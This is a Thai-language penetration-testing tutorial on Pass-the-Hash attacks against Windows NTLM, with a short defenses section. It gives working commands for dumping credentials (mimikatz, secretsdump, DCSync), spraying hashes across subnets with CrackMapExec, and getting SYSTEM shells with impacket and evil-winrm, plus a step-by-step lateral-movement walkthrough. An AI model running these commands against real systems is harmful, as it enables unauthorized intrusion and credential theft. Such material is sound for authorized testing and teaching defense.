Pass-the-Hash
Pass-the-Hash (PtH) คือการ authenticate ด้วย NTLM hash โดยตรงโดยไม่ต้องรู้รหัสจริง — ใช้ในการ lateral movement และยกระดับสิทธิ์ ภายในโดเมน/เครื่อง Windows บทนี้ลงลึกกลไก NTLM auth, การได้ hash, การ pass ด้วยเครื่องมือต่างๆ (impacket/CrackMapExec/evil-winrm/mimikatz), และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ — ทำไม hash ใช้แทนรหัสได้
NTLM authentication พิสูจน์ตัวตนด้วย NTLM hash ของรหัส ไม่ใช่รหัส plaintext — โปรโตคอลใช้ hash ในการคำนวณ response ดังนั้นถ้าเรามี hash ก็ authenticate ได้โดยไม่ต้องรู้/crack รหัสจริง นี่คือ Pass-the-Hash ใช้ในการ lateral movement (ใช้ hash ของ admin ที่ dump มาเข้าเครื่องอื่น) และเข้าถึง service ต่างๆ
2. การได้ NTLM hash
# จาก LSASS (เครื่องที่ยึดแล้ว, ต้อง admin/SYSTEM)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords # NTLM hash ของ user ที่ login
mimikatz # sekurlsa::msv
# จาก SAM (local accounts)
mimikatz # lsadump::sam
# หรือ impacket จาก hive
secretsdump.py -sam SAM -system SYSTEM LOCAL
# จาก domain (DCSync — ดูหัวข้อ DCSync)
secretsdump.py domain/DAuser:pass@DC -just-dc
# จาก dump ระยะไกล
secretsdump.py domain/user:pass@TARGET_IP3. Pass-the-Hash ด้วยเครื่องมือต่างๆ
# === impacket (จาก Linux) — ใช้ -hashes :NTHASH ===
psexec.py -hashes :NTHASH domain/Administrator@TARGET_IP # SYSTEM shell
wmiexec.py -hashes :NTHASH domain/Administrator@TARGET_IP # เนียนกว่า (ไม่สร้าง service)
smbexec.py -hashes :NTHASH domain/Administrator@TARGET_IP
atexec.py -hashes :NTHASH domain/admin@TARGET command
# === CrackMapExec — spray hash หลายเครื่อง ===
crackmapexec smb 10.10.10.0/24 -u Administrator -H NTHASH
crackmapexec smb TARGET -u Administrator -H NTHASH -x "whoami" # รันคำสั่ง
# --local-auth สำหรับ local account
# === evil-winrm (ถ้า WinRM เปิด) ===
evil-winrm -i TARGET_IP -u Administrator -H NTHASH
# === mimikatz (จาก Windows) — pass-the-hash เปิด process ===
# mimikatz # sekurlsa::pth /user:Administrator /domain:domain /ntlm:NTHASH /run:cmd4. ใช้ในการ lateral movement
- spray hash: CrackMapExec ลอง hash ของ local admin กับหลายเครื่องในเครือข่าย — เครื่องที่ใช้รหัส local admin เดียวกัน (password reuse) จะเข้าได้หมด
- หา where admin: CrackMapExec แสดง
(Pwn3d!)เมื่อ hash ให้สิทธิ์ admin บนเครื่องนั้น - dump เพิ่ม: เข้าเครื่องใหม่ → dump LSASS หา hash/credential ใหม่ → pivot ต่อ
- over-pass-the-hash: ใช้ NTLM hash ขอ Kerberos TGT (เนียนกว่า NTLM, ดู AD)
- ระวัง: local admin hash ใช้ PtH ได้; domain admin ควรระวัง Protected Users/ตรวจจับ
5. การป้องกัน
- LAPS — สุ่มรหัส local admin แต่ละเครื่อง (กัน password reuse → spray)
- Credential Guard — แยก LSASS ป้องกัน dump hash
- Protected Users group — ปิด NTLM สำหรับบัญชีสำคัญ
- จำกัด local admin, ไม่ใช้รหัสเดียวกันหลายเครื่อง
- monitor: psexec/wmiexec pattern, logon type 3 ผิดปกติ, Event 4624/4672
- ปิด NTLM ใช้ Kerberos เท่านั้นถ้าทำได้
6. Quick Reference
- NTLM auth ใช้ hash ไม่ใช่รหัส → มี hash = login ได้ (ไม่ต้อง crack)
- ได้ hash: mimikatz sekurlsa::logonpasswords, secretsdump.py
- PtH: psexec.py/wmiexec.py -hashes :NTHASH domain/Admin@TARGET
- spray: crackmapexec smb SUBNET -u Admin -H HASH (หา Pwn3d!)
- evil-winrm -i TARGET -u Admin -H HASH (WinRM)
- lateral: spray → dump เพิ่ม → pivot; over-PtH → Kerberos
- ป้องกัน: LAPS, Credential Guard, Protected Users
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติมี NTLM hash ของ user ใครสักคนอยู่ในมือแล้ว (จาก dump LSASS/SAM) แต่ยังไม่รู้จะใช้ยังไงต่อ มีแค่ Kali ทำตามนี้ทีละขั้น
- 1เช็คว่า hash format ถูกไหม (NT hash เดี่ยว 32 hex หรือ LM:NT) ถ้ามีแค่ NT ให้ใช้เป็น :NThash
- 2สแกนดูว่าเครือข่ายเปิด SMB ที่ไหนบ้าง: nxc smb 10.10.10.0/24
- 3spray hash กับทั้ง subnet: nxc smb 10.10.10.0/24 -u Administrator -H
--local-auth - 4ดูผลลัพธ์ — เครื่องไหนขึ้น (Pwn3d!) คือ hash ใช้เป็น admin บนเครื่องนั้นได้
- 5เข้า shell ผ่าน impacket: impacket-psexec -hashes :
domain/Administrator@ (ได้ SYSTEM shell ทันที) - 6ถ้าอยากเนียนกว่า (ไม่สร้าง service ใหม่): impacket-wmiexec -hashes :
domain/Administrator@ - 7หรือถ้า WinRM เปิด (port 5985): evil-winrm -i
-u Administrator -H - 8เข้าไปแล้ว dump credential เพิ่มจากเครื่องใหม่ (LSASS/SAM) เพื่อหา hash ใหม่ไล่ pivot ต่อ
- 9ถ้า hash ไม่ขึ้น Pwn3d! ที่ไหนเลย ให้ลองใช้กับ service เฉพาะที่รู้ว่า user มีสิทธิ์ (เช่น MSSQL, WinRM) หรือลอง impacket-atexec/smbexec
- 10ถ้าตันสนิท กลับไป dump credential จากเครื่องอื่นที่ยึดได้แล้ว วนซ้ำ
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| สแกนหา target ที่เปิด SMB/WinRM | nxc / crackmapexec | pipx install netexec | - |
| spray hash ทั้ง subnet | nxc smb / crackmapexec smb | pipx install netexec | - |
| เข้า shell (SYSTEM) ด้วย hash | impacket-psexec / wmiexec / smbexec | pipx install impacket | - |
| เข้า shell ผ่าน WinRM | evil-winrm | gem install evil-winrm | - |
| รันคำสั่งเดียวระยะไกลไม่ต้องเปิด shell | impacket-atexec | pipx install impacket | - |
| เตรียม reverse shell สำรอง | nc / msfvenom | - | revshells.com |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้